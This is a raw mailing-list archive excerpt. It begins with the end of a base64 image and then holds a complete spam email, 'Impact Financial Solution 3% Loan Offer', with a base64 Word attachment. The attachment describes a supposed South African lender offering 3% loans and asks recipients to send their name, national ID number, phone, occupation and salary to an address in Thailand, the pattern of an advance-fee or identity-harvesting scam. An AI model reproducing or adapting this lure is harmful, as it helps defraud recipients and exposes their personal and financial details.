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 CgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAK ACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoA KACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAo AKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgA oAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACg AoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAC gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKA CgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAK ACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoA KACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAo AKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgA oAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACg AoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAC gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKA CgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAK ACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoA KACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAo AKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgA oAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACg AoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAC gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKA CgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAK ACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoA KACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAo AKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgA oAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACg AoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAC gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKA CgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAK ACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoA KACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAo AKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgA oAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACg AoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAC gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKA CgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAK ACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoA KACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAo AKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgA oAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACg AoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAC gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKA CgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAK ACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoA KACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAo AKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgA oAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACg AoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAC gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKA CgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAK ACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoA KACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAo AKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgA oAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACg AoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAC gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKA CgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAK ACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoA KACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAo AKACgAoAKACgAoAKACgAoAKACgAoAKACgAoA/lboAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoA KACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAo AKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgA oAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACg D//Z ------=_NextPart_001_7EB4_2DAA2348.3AE04AF0-- From infoimpactfinsolutions@gmail.com Fri Sep 27 08:27:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM, T_FREEMAIL_DOC_PDF autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6F23C7F52 for ; Fri, 27 Sep 2013 08:27:07 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id F3CC6AC005 for ; Fri, 27 Sep 2013 06:27:06 -0700 (PDT) X-ASG-Debug-ID: 1380288424-04bdf02f23151a2d0001-NocioJ Received: from mv-osn-hkg001.ocn.ad.jp (mv-osn-hkg001.ocn.ad.jp [122.28.14.176]) by cuda.sgi.com with ESMTP id I2IWaiS2xR3T60OV for ; Fri, 27 Sep 2013 06:27:04 -0700 (PDT) X-Barracuda-Envelope-From: infoimpactfinsolutions@gmail.com X-Barracuda-Apparent-Source-IP: 122.28.14.176 Received: from mzcstore232.ocn.ad.jp (mv-osn-hkg001 [122.28.14.176]) by mv-osn-hkg001.ocn.ad.jp (Postfix) with ESMTP id EE9C26E0371; Fri, 27 Sep 2013 22:27:00 +0900 (JST) Date: Fri, 27 Sep 2013 22:27:00 +0900 (JST) From: infoimpactfinsolutions@gmail.com Sender: roy@minos.ocn.ne.jp Reply-To: Impact Financial Solutions Message-ID: <668071843.34231661380288420728.JavaMail.root@mz-fcb232p.noc-chibaminato.ocn.ad.jp> In-Reply-To: <1282777132.34228151380288294543.JavaMail.root@mz-fcb232p.noc-chibaminato.ocn.ad.jp> Subject: Impact Financial Solution 3% Loan Offer MIME-Version: 1.0 X-ASG-Orig-Subj: Impact Financial Solution 3% Loan Offer Content-Type: multipart/mixed; boundary="----=_Part_183032_1038372525.1380288420724" X-Originating-IP: [180.8.110.11] To: undisclosed-recipients:; X-Barracuda-Connect: mv-osn-hkg001.ocn.ad.jp[122.28.14.176] X-Barracuda-Start-Time: 1380288424 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.50 X-Barracuda-Spam-Status: No, SCORE=1.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0224, BSF_SC3_MV0253_2, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140975 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.50 BSF_SC0_MV0224 FULL: Custom rule MV0224 1.00 BSF_SC3_MV0253_2 Custom rule MV0253_2 ------=_Part_183032_1038372525.1380288420724 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit Hello, Please find attached details and apply for a loan for a fixed 3% interest rate loan per annum. Warm Regards, Amanda Davis Chief Application Officer, Impact Financial Solutions ------=_Part_183032_1038372525.1380288420724 Content-Type: application/msword; name="Impact Financial Solutions 3% Loan Promo.doc" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Impact Financial Solutions 3% Loan Promo.doc" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAXAAAAAAAAAAA EAAAXwAAAAEAAAD+////AAAAAFsAAAD///////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////s pcEAW4AJBAAA+BK/AAAAAAAAEAAAAAAACAAAAQ4AAA4AYmpiaqz6rPoAAAAAAAAAAAAAAAAAAAAA AAAJBBYANCAAAM6QAQDOkAEA8wUAAAAAAAANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAALcAAAAAAAgIAAAAAAAACAgAAEsV AAAAAAAASxUAAAAAAABLFQAAAAAAAEsVAAAAAAAASxUAABQAAAAAAAAAAAAAAP////8AAAAAXxUA AAAAAABfFQAAAAAAAF8VAAA4AAAAlxUAADQAAADLFQAAFAAAAF8VAAAAAAAA7RkAAGYBAADfFQAA AAAAAN8VAAAAAAAA3xUAAAAAAADfFQAAAAAAAN8VAAAAAAAAzhYAAAAAAADOFgAAAAAAAM4WAAAA AAAAbBkAAAIAAABuGQAAAAAAAG4ZAAAAAAAAbhkAAAAAAABuGQAAAAAAAG4ZAAAAAAAAbhkAACQA AABTGwAAogIAAPUdAAA2AAAAkhkAABUAAAAAAAAAAAAAAAAAAAAAAAAASxUAAAAAAADOFgAAAAAA AAAAAAAAAAAAAAAAAAAAAADOFgAAAAAAAM4WAAAAAAAAzhYAAAAAAADOFgAAAAAAAJIZAAAAAAAA AAAAAAAAAABLFQAAAAAAAEsVAAAAAAAA3xUAAAAAAAAAAAAAAAAAAN8VAADvAAAApxkAABYAAAAA GAAAAAAAAAAYAAAAAAAAABgAAAAAAADOFgAAiAAAAEsVAAAAAAAA3xUAAAAAAABLFQAAAAAAAN8V AAAAAAAAbBkAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAzhYAAAAAAABsGQAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAA AAAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAADfFQAAAAAAAP////8AAAAA8PBQCPi2 zgEAAAAAAAAAAF8VAAAAAAAAVhcAAHwAAAAAGAAAAAAAAAAAAAAAAAAAWBkAABQAAAC9GQAAMAAA AO0ZAAAAAAAAABgAAAAAAAArHgAAAAAAANIXAAAuAAAAKx4AAAAAAAAAGAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA GAAAbAAAACseAAAAAAAAAAAAAAAAAABLFQAAAAAAAGwYAADsAAAAzhYAAAAAAADOFgAAAAAAAAAY AAAAAAAAzhYAAAAAAADOFgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzhYA AAAAAADOFgAAAAAAAM4WAAAAAAAAkhkAAAAAAACSGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM4WAAAA AAAAzhYAAAAAAADOFgAAAAAAAO0ZAAAAAAAAzhYAAAAAAADOFgAAAAAAAM4WAAAAAAAAzhYAAAAA AAAAAAAAAAAAAP////8AAAAA/////wAAAAD/////AAAAAAAAAAAAAAAA/////wAAAAD/////AAAA AP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA /////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAACseAAAAAAAAzhYAAAAAAADO FgAAAAAAAM4WAAAAAAAAzhYAAAAAAADOFgAAAAAAAM4WAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADOFgAAAAAAAM4WAAAAAAAAzhYA AAAAAAAICAAACQwAABEUAAA6AQAABQASAQAACQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAENDSAx MiBKYW4gVmlzc2VyIFN0cmVldCwgSmFuIEtlbXBkb3JwIDg1NTAsIEphbiBLZW1wZG9ycCwNICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTm9ydGhlcm4gQ2FwZSwgU291 dGggQWZyaWNhLgsNDUFib3V0IEltcGFjdCBGaW5hbmNpYWwgU29sdXRpb25zDQtJbXBhY3QgRmlu YW5jaWFsIFNvbHV0aW9ucyBpcyBhIHJlZ2lzdGVyZWQgaW5kZXBlbmRlbnQgZmluYW5jaWFsIHNl cnZpY2UgcHJvdmlkZXIgb3BlcmF0aW5nIGhlcmUgaW4gU291dGggQWZyaWNhLiBTaW5jZSBpdHOg aW5jZXB0aW9uIGluIDIwMDYsIEltcGFjdCBGaW5hbmNpYWwgU29sdXRpb25zIGhhcyBwcm92aWRl ZCBjcmVkaXQgYW5kIGZpbmFuY2lhbCBzb2x1dGlvbnMgdG+gbW9yZSB0aGFuIGVpZ2h0IGh1bmRy ZWQgdGhvdXNhbmQgY3VzdG9tZXJzIGhlcmUgaW4gU291dGggQWZyaWNhLg0NT3VyIGNhcGl0YWwg YmFzZSBoZXJlIGluIEltcGFjdCBGaW5hbmNpYWwgU29sdXRpb25zIGlzIGFwcHJveGltYXRlbHkg NjVtaWxsaW9uIFNvdXRoIEFmcmljYSBSYW5kIGFuZCBvdXIgY3VzdG9tZXIgYmFzZSBpcyBvdmVy IGVpZ2h0IGh1bmRyZWQgdGhvdXNhbmQgY3VzdG9tZXJzIGFzIHN0YXRlZCBhYm92ZS4gV2UgYXJl IGN1cnJlbnRseSBvZmZlcmluZyBsb2FucyBhdCAzJSBpbnRlcmVzdCByYXRlIHBlcqBhbm51bSB0 byBjdXN0b21lcnMuIA0NV2Ugb2ZmZXIgcGVyc29uYWwgbG9hbnMsIGNhciBsb2FucywgaG9tZSBs b2FucyygaW5zdXJhbmNlLCBzdHVkeSBsb2FucywgZGVidCBjb25zb2xpZGF0aW9uIGxvYW5zIGFu ZCBidXNpbmVzcyBsb2Fucy4gSW50ZXJlc3RlZKBhcHBsaWNhbnRzIGFyZSBhZHZpc2VkIHRvIGNv bnRhY3QgdXMgdmlhIGVtYWlsOyB3aXRoIHRoZSByZXF1aXJlZCBkZXRhaWxzIChJTVBBQ1QwMDEg ZGV0YWlscykgYmVsb3c6CwtGaXJzdCBOYW1lOgtTdXJuYW1lOgtJRCBOdW1iZXI6C0NlbGwgTnVt YmVyOgtFLW1haWw6C09jY3VwYXRpb246C01vbnRobHkgU2FsYXJ5Og0NTm90ZTogQ3JlZGl0IGZh Y2lsaXR5IGFwcHJvdmFsIGlzIHN1YmplY3QgdG8gc3RhbmRhcmQgYWZmb3JkYWJpbGl0eSBhbmQg TmF0aW9uYWwgY3JlZGl0IEFjdCByZXF1aXJlbWVudCBhcyB3ZWxsIGFzIEltcGFjdCBGaW5hbmNp YWwgU29sdXRpb25zIHN0YW5kYXJkIGNyZWRpdCBncmFudGluZyBjcml0ZXJpYS4NDVdlIGxvb2sg Zm9yd2FyZCB0byBkb2luZyBidXNpbmVzcyB3aXRoIHlvdSELDUJlc3QgUmVnYXJkcywNC0FtYW5k YSBEYXZpcwtDaGllZiBBcHBsaWNhdGlvbiBPZmZpY2VyLAtJbXBhY3QgRmluYW5jaWFsIFNvbHV0 aW9ucy4NDQ1FbWFpbDogaW1wYWN0ZmluYW5jaWFsc29sdXRpb25zQG1hbmFnZXIuaW4udGggIERp cmVjdCBOby46ICsyNzYxMTM2MzQ1OQ1JbXBhY3QgRmluYW5jaWFsIFNvbHV0aW9ucyBpcyBhbiBB dXRob3JpemVkIEZpbmFuY2lhbCBTZXJ2aWNlcyBhbmQgUmVnaXN0ZXJlZCBDcmVkaXQgUHJvdmlk ZXIuIChOQ1JDUDg4NCkNQ0s6IDIwMDYvMTk4MjA5LzIzDQsNAw0NBA0NAw0NBA0NDQ0AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAEIAAAC CAAAAwgAAAQIAAALCAAAGQgAABoIAAAsCAAALQgAADsIAABlCAAAcggAAIEIAACCCAAAhAgAAIUI AACJCAAAiwgAAJAIAACSCAAAmggAAJwIAACkCAAApQgAAObazryqlYCVgJWAlYB8eGZUZlRmVGZU RAAAAAAAAAAAAAAAAB8VaEQcRwAWaEF1aQA+KgFDShgAT0oAAFFKAABhShgAIhVoRBxHABZoRBxH ADUIgT4qAUNKGABPSgAAUUoAAGFKGAAAIhVoRBxHABZoQXVpADUIgT4qAUNKGABPSgAAUUoAAGFK GAAABhZoQXVpAAAGFmiSBsYAACgVaFwlOgAWaFwlOgA1CIFCKgtDShgAT0oAAFFKAABhShgAcGgA sFAAACgVaFwlOgAWaNtaVgA1CIFCKgtDShgAT0oAAFFKAABhShgAcGgAsFAAACIWaEQcRwA1CIFC KgtDShgAT0oAAFFKAABhShgAcGgAsFAAACIWaFwlOgA1CIFCKgtDShgAT0oAAFFKAABhShgAcGgA sFAAABcWaFwlOgBmSAABccoKAAAA/////wAAABcWaBJORgBmSAABccoKAAAA/////wAAADEDagAA AAAVaF1EIAAWaMZjHwBVCAFmSAABbUgABG5IAARxygoAAAD/////AAAAdQgBABgACAAAAggAAAMI AAA7CAAAgwgAAIQIAAClCAAAwAkAAMEJAAC/CgAAwAoAAPcLAAD4CwAAqQwAAKoMAADXDAAA5QwA ACoNAAArDQAALA0AAHQNAADeDQAA8Q0AAPMNAAD3AAAAAAAAAAAAAAAA9wAAAAAAAAAAAAAAAPcA AAAAAAAAAAAAAADuAAAAAAAAAAAAAAAA5gAAAAAAAAAAAAAAAOEAAAAAAAAAAAAAAADhAAAAAAAA AAAAAAAA3AAAAAAAAAAAAAAAANwAAAAAAAAAAAAAAADcAAAAAAAAAAAAAAAA3AAAAAAAAAAAAAAA ANwAAAAAAAAAAAAAAADhAAAAAAAAAAAAAAAA4QAAAAAAAAAAAAAAAOEAAAAAAAAAAAAAAADhAAAA AAAAAAAAAAAA4QAAAAAAAAAAAAAAAOEAAAAAAAAAAAAAAADhAAAAAAAAAAAAAAAA1AAAAAAAAAAA AAAAAOEAAAAAAAAAAAAAAAD3AAAAAAAAAAAAAAAAywAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgT AA3GBQABhAMAZ2SSJ+kAAAcTAAMkAWEkAWdkQXVpAAAEEwBnZNtaVgAABBMAZ2RBdWkAAAcTAAMk 